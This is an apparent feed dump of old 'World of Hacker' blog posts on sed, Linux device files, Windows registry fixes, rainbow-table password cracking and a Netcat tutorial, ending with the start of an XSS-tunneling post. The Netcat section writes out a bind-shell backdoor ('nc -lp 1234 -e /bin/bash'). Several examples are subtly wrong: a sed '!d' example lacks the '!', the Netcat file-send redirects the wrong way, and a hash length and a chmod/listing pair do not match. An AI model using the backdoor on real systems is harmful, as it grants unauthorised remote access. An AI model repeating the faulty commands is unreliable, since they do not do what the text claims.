</code></pre><p>here, <code>S</code> represents the first starting line number and <code>E</code> represents the last or end line number <code>d</code> represents the <code>delete</code> action and <code>filename</code> is your filename where you want to delete the range of line contents.</p>
<p><strong>Example:</strong></p>
<pre><code>sed <span class="hljs-string">'4,7d'</span> worldofhacker.txt
</code></pre><p>The above command will delete the line from the 4th index up to the 7th index of the file <code>worldofhacker.txt</code></p>
<h3 id="heading-for-deleting-multiple-lines-from-data">For Deleting multiple lines from Data</h3>
<p><strong>Syntax:</strong></p>
<pre><code>sed <span class="hljs-string">`Nd;Pd;Od;`</span> filename
</code></pre><p>here, <code>N</code>, <code>P</code>, and <code>O</code> represent various line numbers, <code>d</code> represents the <code>delete</code> action and <code>filename</code> is your filename where you want to delete the range of line contents.</p>
<p><strong>Example:</strong></p>
<pre><code>sed <span class="hljs-string">'4d;7d;10d'</span> worldofhacker.txt
</code></pre><p>The above command will delete the line from the 4th index, 7th index, and 10th index of the file <code>worldofhacker.txt</code></p>
<h3 id="heading-for-deleting-multiple-ranges-of-reverse-conditional-data">For Deleting multiple ranges of Reverse conditional Data</h3>
<p><strong>Syntax:</strong></p>
<pre><code>sed <span class="hljs-string">`N,P!d`</span> filename
</code></pre><p>here, <code>N</code>, and <code>P</code> represent various line numbers, <code>!d</code> represents the <code>delete</code> action except for these lines, and <code>filename</code> is your filename where you want to delete the range of line contents except <code>N-P</code>.</p>
<p><strong>Example:</strong></p>
<pre><code>sed <span class="hljs-string">'4,10d'</span> worldofhacker.txt
</code></pre><p>The above command will delete the other line except for the 4th index to the 10th index of the file <code>worldofhacker.txt</code></p>
<p>Hope this crazy method helps you save time. You can do more about them just do <code>man sed</code> and you will find why Linux is Love!</p>
]]></content:encoded></item><item><title><![CDATA[Linux Important Hardware Utilities For Debugging Purpose and Fixing Operating System.]]></title><description><![CDATA[The MAKEDEV Script
Most device files will already be created and will be there ready to use after you install your Linux system. If by some chance you need to create one which is not provided then you should first try to use the MAKEDEV script. This ...]]></description><link>https://worldofhacker.com/linux-important-hardware-utilities-for-debugging-purpose-and-fixing-operating-system</link><guid isPermaLink="true">https://worldofhacker.com/linux-important-hardware-utilities-for-debugging-purpose-and-fixing-operating-system</guid><category><![CDATA[debugging]]></category><category><![CDATA[hacker]]></category><category><![CDATA[hacking]]></category><category><![CDATA[lnux]]></category><dc:creator><![CDATA[World of Hacker]]></dc:creator><pubDate>Fri, 30 Sep 2011 09:43:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1667401015325/PvBssgKkOR.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><a target="_blank" href="https://3.bp.blogspot.com/-d3r1xjYIqNA/UjqBv6bbtUI/AAAAAAAAAz8/pD5C5RJzlHc/s1600/tux.png"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1667401014085/sZbucKTLO.png" alt /></a></p>
<h3 id="heading-the-makedev-script">The MAKEDEV Script</h3>
<p>Most device files will already be created and will be there ready to use after you install your Linux system. If by some chance you need to create one which is not provided then you should first try to use the MAKEDEV script. This script is usually located in /dev/MAKEDEV but might also have a copy (or a symbolic link) in /sbin/MAKEDEV. If it turns out not to be in your path then you will need to specify the path to it explicitly.  </p>
<p>In general, the command is used as:  </p>
<blockquote>
<p>Quote:# /dev/MAKEDEV -v ttyS0<br />create ttyS0 c 4 64 root:dialout 0660</p>
</blockquote>
<p>This will create the device file /dev/ttyS0 with major node 4 and minor node 64 as a character device with access permissions 0660 with owner root and group dialout.  </p>
<p>ttyS0 is a serial port. The major and minor node numbers are numbers understood by the kernel. The kernel refers to hardware devices as numbers, this would be very difficult for us to remember, so we use filenames. Access permissions of 0660 means read and write permission for the owner (root in this case) and read and write permission for members of the group (dialout in this case) with no access for anyone else.  </p>
<h3 id="heading-the-mknod-command">The mknod command</h3>
<p>MAKEDEV is the preferred way of creating device files which are not present. However, sometimes the MAKEDEV script will not know about the device file you wish to create. This is where the mknod command comes in. In order to use mknod you need to know the major and minor node numbers for the device you wish to create. The devices.txt file in the kernel source documentation is the canonical source of this information.  </p>
<p>To take an example, let us suppose that our version of the MAKEDEV script does not know how to create the /dev/ttyS0 device file. We need to use mknod to create it. We know from looking at the devices.txt that it should be a character device with major number 4 and minor number 64. So we now know all we need to create the file.  </p>
<blockquote>
<p>Quote:# mknod /dev/ttyS0 c 4 64<br /># chown root.dialout /dev/ttyS0<br /># chmod 0644 /dev/ttyS0<br /># ls -l /dev/ttyS0<br />crw-rw---- 1 root dialout 4, 64 Oct 23 18:23 /dev/ttyS0</p>
</blockquote>
<p>As you can see, many more steps are required to create the file. In this example you can see the process required however. It is unlikely in the extreme that the ttyS0 file would not be provided by the MAKEDEV script, but it suffices to illustrate the point.  </p>
<h3 id="heading-the-lspci-command">The lspci command</h3>
<pre><code>lspci
</code></pre><h3 id="heading-the-lsdev-command">The lsdev command</h3>
<pre><code>lsdev
</code></pre><h3 id="heading-the-lsusb-command">The lsusb command</h3>
<pre><code>lsusb
</code></pre><h3 id="heading-the-lsraid-command">The lsraid command</h3>
<pre><code>lsraid
</code></pre><h3 id="heading-the-hdparm-command">The hdparm command</h3>
<pre><code>hdparm
</code></pre><h3 id="heading-the-lshw-command">The lshw command</h3>
<pre><code>root@worldofhacker~# lshw
</code></pre>]]></content:encoded></item><item><title><![CDATA[How to enable RUN ? if any viruses diabled your RUN!]]></title><description><![CDATA[How to enable RUN ? if any viruses diabled your RUN!  
How to enable RUN ? if any viruses diabled your RUN, here’s the method to enable/disable RUN?

If you are a computer user,then you might habe also heard about virus!there are few virus which do h...]]></description><link>https://worldofhacker.com/how-to-enable-run-if-any-viruses-diabled-your-run</link><guid isPermaLink="true">https://worldofhacker.com/how-to-enable-run-if-any-viruses-diabled-your-run</guid><dc:creator><![CDATA[World of Hacker]]></dc:creator><pubDate>Wed, 24 Aug 2011 09:29:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1667401086694/Z_C-3zGJB.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>How to enable RUN ? if any viruses diabled your RUN!  </p>
<p>How to enable RUN ? if any viruses diabled your RUN, here’s the method to enable/disable RUN?</p>
<p><a target="_blank" href="https://2.bp.blogspot.com/-fvMZHgNbChQ/UkAJMIz0B6I/AAAAAAAAA3E/l8omiYMlSes/s1600/images.jpg"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1667401085541/UbJemGKNE.jpeg" alt /></a></p>
<p>If you are a computer user,then you might habe also heard about virus!there are few virus which do havoc on prey computer and changes its behaviour drastically!I also use computer and had got some strange response from computer  </p>
<p>for example when tried to hit “win+R” it shown a message stating that “Run has been disabled by administrator”. So i made a simple trick to solve this Problem.  </p>
<p>Most of the viruses are now disabling the RUN command in Windows  </p>
<p>This is achieving through the registry open the regedit.exe in your WINDOWS folder, then navigate to the following,  </p>
<blockquote>
<p>Quote:[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies  </p>
<p>\Explorer]  </p>
<p>“NoRun”=dword:1</p>
</blockquote>
<p>Then change the DWORD value as 0 to enable , 1 to disable.<br />You can also do it through REG file( ie , file with extension .reg ) its code will be as like below.  </p>
<p>Copy the below registry script and save it as a .reg file ( eg : dxm.reg )  </p>
<blockquote>
<p>Quote:REGEDIT4  </p>
<p>[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies  </p>
<p>\Explorer]  </p>
<p>“NoRun”=dword:0  </p>
<p>; 0 to enable</p>
</blockquote>
<p>If you have any problem with the above methods the follow the below it will definitely work.  </p>
<p>Save the below script as a bat file (eg: dxm.bat) and execute it ……Enjoy !!!!!!  </p>
<blockquote>
<p>Quote:ECHO REGEDIT4 &gt; Enable-Run.REG  </p>
<p>echo. &gt;&gt; Enable-Run.reg  </p>
<p>echo [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies  </p>
<p>\Explorer] &gt;&gt; Enable-Run.reg  </p>
<p>echo “NoRun”=dword:0 &gt;&gt; Enable-Run.reg  </p>
<p>start /w regedit /s Enable-Run.reg</p>
</blockquote>
<p>After running this file , a registry file is created with name “  </p>
<p>Enable-Run  </p>
<p>“, now just run this file and restart your computer , Now ur problem is solved!!! </p>
<hr />
]]></content:encoded></item><item><title><![CDATA[Information Gathering with Google - Penetration Testing with Google]]></title><description><![CDATA[Click on "Prev" or "Next" Button to Read
The first phase in security assessment is focused on collecting as much information as possible about a target application. Information Gathering is the most critical step of an application security test. The ...]]></description><link>https://worldofhacker.com/information-gathering-with-google-penetration-testing-with-google</link><guid isPermaLink="true">https://worldofhacker.com/information-gathering-with-google-penetration-testing-with-google</guid><category><![CDATA[hacking]]></category><category><![CDATA[Hackers]]></category><category><![CDATA[google hacking]]></category><category><![CDATA[search engine hacking]]></category><dc:creator><![CDATA[World of Hacker]]></dc:creator><pubDate>Mon, 07 Feb 2011 06:30:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1667400960196/unTx1QqRf.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><a target="_blank" href="https://3.bp.blogspot.com/-bdQHijdaRFg/Uk5iGqBVGAI/AAAAAAAAA6o/Xt7FhQtvd4U/s1600/debugger.png"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1667400958852/wpN6MX0xm.png" alt /></a></p>
<iframe height="512" src="https://www.slideshare.net/slideshow/embed_code/4928929?rel=0" style="border-width:1px 1px 0;border:1px solid #CCC;margin-bottom:5px" width="100%"></iframe>  


<p>Click on "<strong>Prev</strong>" or "<strong>Next</strong>" Button to Read</p>
<p>The first phase in security assessment is focused on collecting as much information as possible about a target application. Information Gathering is the most critical step of an application security test. The security test should endeavour to test as much of the code base as possible. Thus mapping all possible paths through the code to facilitate thorough testing is paramount.</p>
<p>This task can be carried out in many different ways.</p>
<p>By using public tools (search engines), scanners, sending simple HTTP requests, or specially crafted requests, it is possible to force the application to leak information, e.g., disclosing error messages or revealing the versions and technologies used.</p>
<p><strong>Any Question ask them below ?</strong></p>
]]></content:encoded></item><item><title><![CDATA[What is Rainbow Tables ? How to use Rainbow Tables ? Download Rainbow Tables]]></title><description><![CDATA[Yes, All Above Questions Will be Answered One by One Below, This is Pretty Basic Question in Newbie Hackers whenever they hear about Cracking Password. I am going to Cover some of the basics below so that People who are unaware of the fact can get gl...]]></description><link>https://worldofhacker.com/what-is-rainbow-tables-how-to-use-rainbow-tables-download-rainbow-tables</link><guid isPermaLink="true">https://worldofhacker.com/what-is-rainbow-tables-how-to-use-rainbow-tables-download-rainbow-tables</guid><dc:creator><![CDATA[World of Hacker]]></dc:creator><pubDate>Fri, 21 Jan 2011 06:30:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1667400946803/AUGffcb6J.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1667400945131/wBE91g3Llm.jpeg" alt="[Image: Q3LG4bO.jpg]" /></p>
<p>Yes, All Above Questions Will be Answered One by One Below, This is Pretty Basic Question in Newbie Hackers whenever they hear about Cracking Password. I am going to Cover some of the basics below so that People who are unaware of the fact can get glimpse of Rainbow Tables and Understands them.  </p>
<p><strong>What is Rainbow Tables ?</strong></p>
<blockquote>
<p>WikiPedia Wrote:A rainbow table is a precomputed table for reversing <a target="_blank" href="http://en.wikipedia.org/wiki/Cryptographic_hash_function">cryptographic hash functions</a>, usually for cracking password hashes. Tables are usually used in recovering the plaintext password, up to a certain length consisting of a limited set of characters. It is a practical example of a space-time tradeoff, using more computer processing time at the cost of less storage when calculating a hash on every attempt, or less processing time and more storage when compared to a simple <a target="_blank" href="http://en.wikipedia.org/wiki/Lookup_table">lookup table</a> with one entry per hash. Use of a <a target="_blank" href="http://en.wikipedia.org/wiki/Key_derivation_function">key derivation function</a> that employ a salt makes this attack infeasible.  </p>
<p>Rainbow tables are an application of an earlier, simpler algorithm by <a target="_blank" href="http://en.wikipedia.org/wiki/Martin_Hellman">Martin Hellman</a>.  </p>
<p>Any computer system that requires password authentication must contain a database of passwords, either hashed or in plaintext, and various methods of password storage exist. Because the tables are vulnerable to theft, storing the plaintext password is dangerous. Most databases therefore store a cryptographic hash of a user's password in the database. In such a system, no one -- including the authentication system -- can determine what a user's password is, simply by looking at the value stored in the database. Instead, when a user enters his or her password for authentication, it is hashed and that output is compared to the stored entry for that user (which was hashed before being stored). If the two hashes match, access is granted.  </p>
<p>A thief who steals the (hashed) password table cannot merely enter the user's (hashed) database entry to gain access since the authentication system would hash that a second time, producing a result which does not match the stored value, which was hashed only once. In order to learn a user's password, the thief must reverse the hash to find a password which produces the hashed value. A good authentication system will make this process as difficult as possible by using a one-way hash function, that has a high ratio for the time to invert the function compared to the time to compute the function.  </p>
<p>Rainbow tables are one tool people have developed in an effort to derive a password by looking only at a hashed value.</p>
</blockquote>
<p>In simple terms, passwords stored in computers are changed from their plain text form to an encrypted value. This value or hash is the result of an algorithmiccalculation designed for the operating system to use, but not to be plainly visible or intelligible to users. Let’s look at an example password and some associated hashes.  </p>
<p>Below are Few Forms of Hashes for a word Hacker:-  </p>
<p>Code:</p>
<p><code>plaintext    : Hacker   md4          : 3136853eb744ea85ae4f09a617625a70   md5          : 4baf5897963fc12d1cd8fe1a02eb48fb   md5_md5      : 87ffde714866510526546ef9a1db19bb   mysql3       : 3573c0604742c698   mysql4_mysql5: *af502ff2fbcd74e9f6b4d973f3968c044cd26f11   ntlm         : de7b526765bf839416913f81f3d50541   ripemd160    : f88ac3e4c82d60d755e7fc5410d1a980bffe02a5   gost         : 5ae2c723eba2b6dd1a5146b5c4e57dba740a4dc7c2e4b57ba7ced12476b86f84   sha1         : 2d7cd852faf790678785453124f3b4f5d5d25860   sha1_sha1    : ab74e27ff66c236b0762694f6a47b399738660bf   sha224       : b452133a03f0212f9d506411a365757d1a8d89194b142d457d87435f   sha256       : bda73679ff0137edc8e4ec93be4c9f59344a920e10958cf172d96643f9822f0a   sha384       : 36af87a4a0b850d779834eb251a198486609ea5b6133ae9812bd62c758c06d94c86c58e1c107c9d6​0281a5c9fee0bd9b   sha512       : faea6bd2bdea1bd4c5f1d0852f6c17ece1e41735bc05ea31485c90e9ae9d846bbbec197370f91b65​efd6bf5ee4f05e297af8d4456cc2f3738255abafd3134130   whirlpool    : 67d4385f8c0651dd10ec909001f327f81dd43ec51bd3debbfe28499554b3f8d1af34d0a3e9c41181​a3615da6084c8920bfcf4fa8b6f2dd0fd217933996683041</code></p>
<p>Please Note Above is Just a Sample and does not contain complete list.  </p>
<p><strong>How to Use Rainbow Tables ?</strong></p>
<p>You need 2 Things to do this :-  </p>
<ol>
<li>Small Application that can check against your Computed Hash [You can make your own too if you are programmer]  </li>
<li>List of Hashes [This you can download from internet or torrent, you may find some pretty Good table list. ]<br />One Good hash List can vary from 5GB - [50-100]GB  </li>
</ol>
<p>But you don't need for every hash. For an Example for Basic Hashes you can google online tools. Before you go and Do Search for Online tools, I would recommend you to understand about different hash format. Simple way to Know about them is with their size length. For an Instance :-  </p>
<ol>
<li>md4, md5 is 32 characters long.  </li>
<li>sha1 is 40 characters long.  </li>
<li>mysql3 used to be or if someone still uses them than it is 16 characters long.  </li>
<li>mysql4/mysql5 are 41 characters long.  </li>
<li>ntlm is 32 characters long too.  </li>
<li>sha224 is 56 characters long.  </li>
<li>sha256 is 64 characters long.  </li>
<li>sha512 is 126 characters long.  </li>
<li>crypt is 13 characters long.<br />and list continues....  </li>
</ol>
<p>For Basic Md5, Sha1, Cracking Here are few famous Online tools :-  </p>
<ol>
<li><a target="_blank" href="http://www.md5decrypter.co.uk/">http://www.md5decrypter.co.uk</a>  </li>
<li><a target="_blank" href="http://www.goog.li/">http://www.goog.li</a>  </li>
<li><a target="_blank" href="http://www.md5decryption.com/">http://www.md5decryption.com</a>  </li>
<li><a target="_blank" href="http://www.md5decrypter.co.uk/sha1-decrypt.aspx">http://www.md5decrypter.co.uk/sha1-decrypt.aspx</a><br />and list continues...  </li>
</ol>
<p><strong>Where to Download Rainbow Table List ?</strong></p>
<ol>
<li><a target="_blank" href="http://www.freerainbowtables.com/en/tables2/">http://www.freerainbowtables.com/en/tables2/</a>  </li>
<li><a target="_blank" href="http://www.freerainbowtables.com/tables/">http://www.freerainbowtables.com/tables/</a>  </li>
</ol>
<p>Follow the Link, Scroll through Middle of Page and you will see list of Table with Size Listed Aside.  </p>
<p><strong>Any Tools that can help Cracking Rainbow table :-</strong></p>
<p>Here is 1 -&gt; <a target="_blank" href="http://project-rainbowcrack.com/">http://project-rainbowcrack.com/</a><br />Second Google is Your friend if you can't code one.  </p>
<p><strong>Few Links to Read More about Rainbow Tables :-</strong></p>
<ol>
<li><a target="_blank" href="http://kestas.kuliukas.com/RainbowTables/">http://kestas.kuliukas.com/RainbowTables/</a>  </li>
<li><a target="_blank" href="http://en.wikipedia.org/wiki/Rainbow_table">http://en.wikipedia.org/wiki/Rainbow_table</a>  </li>
<li><a target="_blank" href="http://www.freerainbowtables.com/">http://www.freerainbowtables.com/</a>  </li>
<li><a target="_blank" href="http://www.rainbowtables.net/tutorials/brute_forcing.php">http://www.rainbowtables.net/tutorials/b...orcing.php</a><br />5. Start Googling for More, and if you find more Resource Please reply below on Comment, so that i can add them here in list.  </li>
</ol>
<p>Thanks and Good Luck</p>
]]></content:encoded></item><item><title><![CDATA[Replace your STARTUP and SHUTDOWN screen images (bitmaps).]]></title><description><![CDATA[Do you dislike the Windows startup and shutdown screens, and wishto replace them with your own images? Here's how:  

1. On your c:\ drive (root directory), you will find the following files:LOGO.SYS startup screen LOGOS.SYS shutdown screenLOGOW.SYS ...]]></description><link>https://worldofhacker.com/replace-your-startup-and-shutdown-screen-images-bitmaps</link><guid isPermaLink="true">https://worldofhacker.com/replace-your-startup-and-shutdown-screen-images-bitmaps</guid><dc:creator><![CDATA[World of Hacker]]></dc:creator><pubDate>Tue, 28 Dec 2010 09:26:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1667401098756/qquy_NSQJX.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Do you dislike the Windows startup and shutdown screens, and wish<br />to replace them with your own images? Here's how:  </p>
<p><a target="_blank" href="https://3.bp.blogspot.com/-fvMZHgNbChQ/UkAJMIz0B6I/AAAAAAAAA3A/wI29p1qcCUU/s1600/images.jpg"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1667401097726/1vgUZYOIx.jpeg" alt /></a></p>
<p>1. On your c:\ drive (root directory), you will find the following files:<br />LOGO.SYS startup screen LOGOS.SYS shutdown screen<br />LOGOW.SYS "wait to shutdown" screen  </p>
<hr />
<p>2. COPY these files to a place before attempting to alter them. You<br />may want to replace them if you decide or need to use them again.  </p>
<hr />
<p>3. Despite the .sys extensions, these files are standard bitmaps (.bmp files)<br />Once you've copied them, change the extension on one of your copies<br />to .bmp and view it in Ms.Paint Check the IMAGE, ATTRIBUTES<br />menu and note that it is 320 pixels (pels) wide and 400 pixels high.  </p>
<hr />
<p>4. Before you replace any of these images, you need to find or create,<br />or crop a bitmap image to 320 x 400. Choose your image, and set the<br />size in IMAGE, ATTRIBUTES in Ms.Paint.  </p>
<hr />
<p>5. Save your new image to the selected location, naming it after the logo file<br />you intend to replace (using the .sys extension).  </p>
<hr />
<p>6. Now, on the c:\ drive, change the extension of the original logo file<br />(the one you are replacing) to .bmp. This way, you'll have two originals<br />in case of trouble -one on your c:\ drive and one on you copied.  </p>
<hr />
<p>7. Now, move your new logo file into your root c:\ directory. The next<br />time you start up or shut down, you'll see your new screen.  </p>
<hr />
<p>8. If you don't like your new image, move it out of your root directory<br />and replace it with one of your original files (with the .sys extension).<br />Be sure to do this before you exit and re-enter Windows</p>
]]></content:encoded></item><item><title><![CDATA[Hacker's Swiss Army Knife - Netcat for Penetration testers from Scanning to Hacking]]></title><description><![CDATA[This Thread will Discuss the Following things :-

What is Netcat?
Its Features.
Installation Method
Window's Box.
Linux Box.
Netcat One-Man Army.
Multiple Tool / Use Name.
Netcat as Chat Server.
Netcat as File Transfering Application.
Netcat as Port ...]]></description><link>https://worldofhacker.com/hackers-swiss-army-knife-netcat-for-penetration-testers-from-scanning-to-hacking</link><guid isPermaLink="true">https://worldofhacker.com/hackers-swiss-army-knife-netcat-for-penetration-testers-from-scanning-to-hacking</guid><category><![CDATA[Netcat]]></category><category><![CDATA[hacker]]></category><category><![CDATA[Security]]></category><category><![CDATA[infosec]]></category><category><![CDATA[hacking]]></category><dc:creator><![CDATA[World of Hacker]]></dc:creator><pubDate>Tue, 30 Nov 2010 15:24:38 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1667299323125/xjcmKwZMu.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>This Thread will Discuss the Following things :-</p>
<ol>
<li>What is Netcat?</li>
<li>Its Features.</li>
<li>Installation Method</li>
<li>Window's Box.</li>
<li>Linux Box.</li>
<li>Netcat One-Man Army.</li>
<li>Multiple Tool / Use Name.</li>
<li>Netcat as Chat Server.</li>
<li>Netcat as File Transfering Application.</li>
<li>Netcat as Port Scanning Tool.</li>
<li>Netcat as Banner Grabbing Machine.</li>
<li>Netcat as Backdoor / Remote Pwning - Granting Access to Create, Edit, Delete, and Break.</li>
<li>Netcat as System-in-Law Conclusion.</li>
</ol>
<p><img src="https://i.imgur.com/WVlEI.png" alt="Hacker's Swiss Army Knife - Netcat for Penetration testers from Scanning to Hacking " /></p>
<h3 id="heading-what-is-netcat">What is Netcat?</h3>
<p>Netcat is a tool, which can read and write data across any TCP and UDP Network connections, Now, when it has a read and write mechanism for any TCP and UDP network connections, we can definitely juice out much stuff...</p>
<p>So, Let's See What its Features are:-</p>
<p>Some of Netcat’s features are:</p>
<ul>
<li>Outbound or inbound connections, TCP or UDP, to or from any ports.</li>
<li>Full DNS forward/reverse checking, with appropriate warnings.</li>
<li>Ability to use any local source port.</li>
<li>Ability to use any locally-configured network source address.</li>
<li>Built-in port-scanning capabilities, with randomizer.</li>
<li>Built-in loose source-routing capability.</li>
<li>Can read command line arguments from standard input.</li>
<li>Slow-send mode, one line every N seconds.</li>
<li>Hex dump of transmitted and received data.</li>
<li>Optional ability to let another program service establish connections.</li>
<li>Optional telnet-options responder.</li>
<li>this list was listed on the vulnwatch.org website which no more exists.</li>
</ul>
<p>So, After Getting to know all these features, you may want to give them a try, so how to get them and Install them.</p>
<h3 id="heading-installation-methods">Installation Method's</h3>
<p>Google Search Results for Download Netcat, After you have downloaded them, How you can Run them:-</p>
<p>For Windows:-</p>
<ul>
<li>Unzip and Run your netcat.exe or nc.exe file, that's it, </li>
</ul>
<p>For Linux:-</p>
<ul>
<li>Unzip and Go to Netcat Directory.</li>
</ul>
<pre><code>root@worldofhacker# make 
root@worldofhacker# make install
or
root@worldofhacker# apt-get install nc*
or
root@worldofhacker# yum install nc*
</code></pre><p>That's it, Now I assume you have running Netcat with you, so I will take you to Netcat Discovery Channel.</p>
<p>Netcat is one Alone Tool, that can do multiple Work, and all that work is not limited to are.</p>
<h3 id="heading-netcat-one-man-army">Netcat One-Man Army</h3>
<ol>
<li>Netcat as Chat Server.</li>
<li>Netcat as File Transfering Application.</li>
<li>Netcat as Port Scanning Tool.</li>
<li>Netcat as Banner Grabbing Machine.</li>
<li>Netcat as Backdoor/Remote Pwning - Granting Access to Create, Edit, Delete and S<em>*</em>.</li>
</ol>
<p>So, Let's Discuss all those Features.</p>
<ol>
<li>Netcat as Chat Server</li>
</ol>
<p>System A:-</p>
<pre><code>c:\&gt; nc.exe -lvp <span class="hljs-number">1234</span>
or
krokite@worldofhacker~$ nc -lvp <span class="hljs-number">1234</span>    <span class="hljs-comment">// This is for Linux system</span>
</code></pre><p>System B:-</p>
<pre><code>c:\&gt; nc [system_A_ip] -vp <span class="hljs-number">1234</span>
or
krokite@worldofhacker~$ nc [system_A_ip] -vp <span class="hljs-number">1234</span>  <span class="hljs-comment">// This is for Linux system</span>
</code></pre><ol>
<li>Netcat as File Transfering Application.</li>
</ol>
<p>System A [Receiving the File]</p>
<pre><code>c:\&gt; nc.exe -l -p <span class="hljs-number">1234</span> &gt; worldofhacker.txt 
or
krokite@worldofhacker~$ nc -l -p <span class="hljs-number">1234</span> &gt; worldofhacker.txt
</code></pre><p>System B [Sending the File]</p>
<pre><code>c:\&gt;nc.exe [system_A_ip] -p <span class="hljs-number">1234</span> &gt; krokite.txt
or
krokite@worldofhacker~$ nc [system_A_ip] -p <span class="hljs-number">1234</span> &gt; krokite.txt
</code></pre><ol>
<li>Netcat as Port Scanning Tool.</li>
</ol>
<pre><code>c:\&gt; nc.exe -w2 -v -z [target_system_ip] <span class="hljs-number">1</span><span class="hljs-number">-443</span>
or 
krokite@worldofhacker~$ nc -w2 -v -z [target_system_ip] <span class="hljs-number">1</span><span class="hljs-number">-443</span>
or 
<span class="hljs-attr">c</span>:\&gt; nc.exe -w2 -v -z [target_system_ip] <span class="hljs-number">80</span>,<span class="hljs-number">21</span>,<span class="hljs-number">20</span>,<span class="hljs-number">53</span>,<span class="hljs-number">22</span>,,<span class="hljs-number">25</span>,<span class="hljs-number">110</span>,<span class="hljs-number">143</span>,<span class="hljs-number">443</span>
or
krokite@worldofhacker~$ nc -w2 -v -z [target_system_ip] <span class="hljs-number">80</span>,<span class="hljs-number">21</span>,<span class="hljs-number">20</span>,<span class="hljs-number">53</span>,<span class="hljs-number">22</span>,<span class="hljs-number">25</span>,<span class="hljs-number">110</span>,<span class="hljs-number">143</span>,<span class="hljs-number">443</span>
</code></pre><ul>
<li>w means to wait.</li>
<li>v means verbose mode, which means displaying the way program is processing.</li>
<li>z is used for scanning purposes [Zero-I/O]</li>
<li>1-443 is port from 1 to 443, you can also specify 80,81,82,21,22,20,53, etc.</li>
</ul>
<ol>
<li>Netcat as Banner Grabbing Machine.</li>
</ol>
<pre><code>c:\&gt; nc.exe -vvn [target_ip] [port_number]

krokite@worldofhacker~$ nc -vvn [target_ip] [port_number]

<span class="hljs-attr">c</span>:\&gt; nc.exe -vvn <span class="hljs-number">1.1</span><span class="hljs-number">.1</span><span class="hljs-number">.1</span> <span class="hljs-number">80</span>
GET /HTTP <span class="hljs-number">1.0</span>/krokite@worldofhacker~$ nc -vvn <span class="hljs-number">1.1</span><span class="hljs-number">.1</span><span class="hljs-number">.1</span> <span class="hljs-number">80</span>
GET /HTTP <span class="hljs-number">1.0</span>/
</code></pre><p>Press 2 times enter after you send GET Request.</p>
<p>For port 80 i.e, HTTP Request, you need to send a method of Request like [GET, PUT, HEAD, etc.,]</p>
<p>you may change port 80 to 21 or any other than you don't have to type GET request.</p>
<p>if you want to use a domain name instead of IP then remove n from -vvn, just use as -vv</p>
<ol>
<li>Netcat as Backdoor/Remote Pwning</li>
</ol>
<p>System A</p>
<pre><code>c:\&gt; nc.exe -lp <span class="hljs-number">1234</span> -e cmd.exe
or
krokite@worldofhacker~$ nc -lp <span class="hljs-number">1234</span> -e /bin/bash
</code></pre><p>System B</p>
<pre><code>c:\&gt; nc.exe [system_A_ip] <span class="hljs-number">1234</span>
or
krokite@worldofhacker~$ nc [system_A_ip] <span class="hljs-number">1234</span>
</code></pre><h3 id="heading-system-in-law-conclusion">System in Law - Conclusion</h3>
<p>Hacking is Illegal, But Penetration testing with complete authority is legal. Do not use the Given knowledge to attack or Harm any person, if you do so, I [KroKite] or Worldofhacker.com will not be responsible for what you do with this knowledge.</p>
<p>That's it. Good Luck</p>
<p>Search more, explore more. Here are a few google outputs from my side:-
Resource Center
Google Search Results for Download Netcat
Google Search Results for Netcat Swiff army knife</p>
<p>If you find some replies here with the link, will add them to the resource centre here:-</p>
<p>Any Questions Put them Below.</p>
]]></content:encoded></item><item><title><![CDATA[XSS tunneling - WorldOfHacker - 2011]]></title><description><![CDATA[XSS tunneling [Complete Series] (migrated from the worldofhacker forum - 2011)
In This thread, we talk about in-depth descriptions of XSS tunneling.
Source:- Internet & Few Security team Books.
INDEX
1). XSS Tunnelling

What Is An XSS Tunnel?
What Is...]]></description><link>https://worldofhacker.com/xss-tunneling-worldofhacker-2011</link><guid isPermaLink="true">https://worldofhacker.com/xss-tunneling-worldofhacker-2011</guid><category><![CDATA[cross site scripting]]></category><category><![CDATA[XSS]]></category><category><![CDATA[hacking]]></category><category><![CDATA[Web Development]]></category><category><![CDATA[Web Exploitation]]></category><dc:creator><![CDATA[World of Hacker]]></dc:creator><pubDate>Thu, 25 Nov 2010 15:23:46 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1667339311609/VILZey5K-.jpg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>XSS tunneling [Complete Series] (<strong>migrated from the worldofhacker forum - 2011</strong>)</p>
<p>In This thread, we talk about in-depth descriptions of XSS tunneling.
Source:- Internet &amp; Few Security team Books.</p>
<p>INDEX</p>
<p>1). XSS Tunnelling</p>
<ul>
<li>What Is An XSS Tunnel?</li>
<li>What Is XSS Tunnelling?</li>
<li>What Is An XSS Channel?</li>
</ul>
<p><strong>XSS Shell</strong></p>
<ul>
<li>How Does XSS Shell Work?</li>
<li>Points of Interest</li>
<li>Built-in Commands.</li>
<li>Key Feature.</li>
<li>Install.</li>
<li>Why Is It Better Than The Classic XSS Attacks?</li>
</ul>
<p>2). Why Tunnel HTTP Traffic Through An XSS Channel?
3). Benefits Of XSS Tunnelling
4). How Does XSS Tunnel Work?
5). An Attack Process.</p>
<p>What is an XSS tunnel?</p>
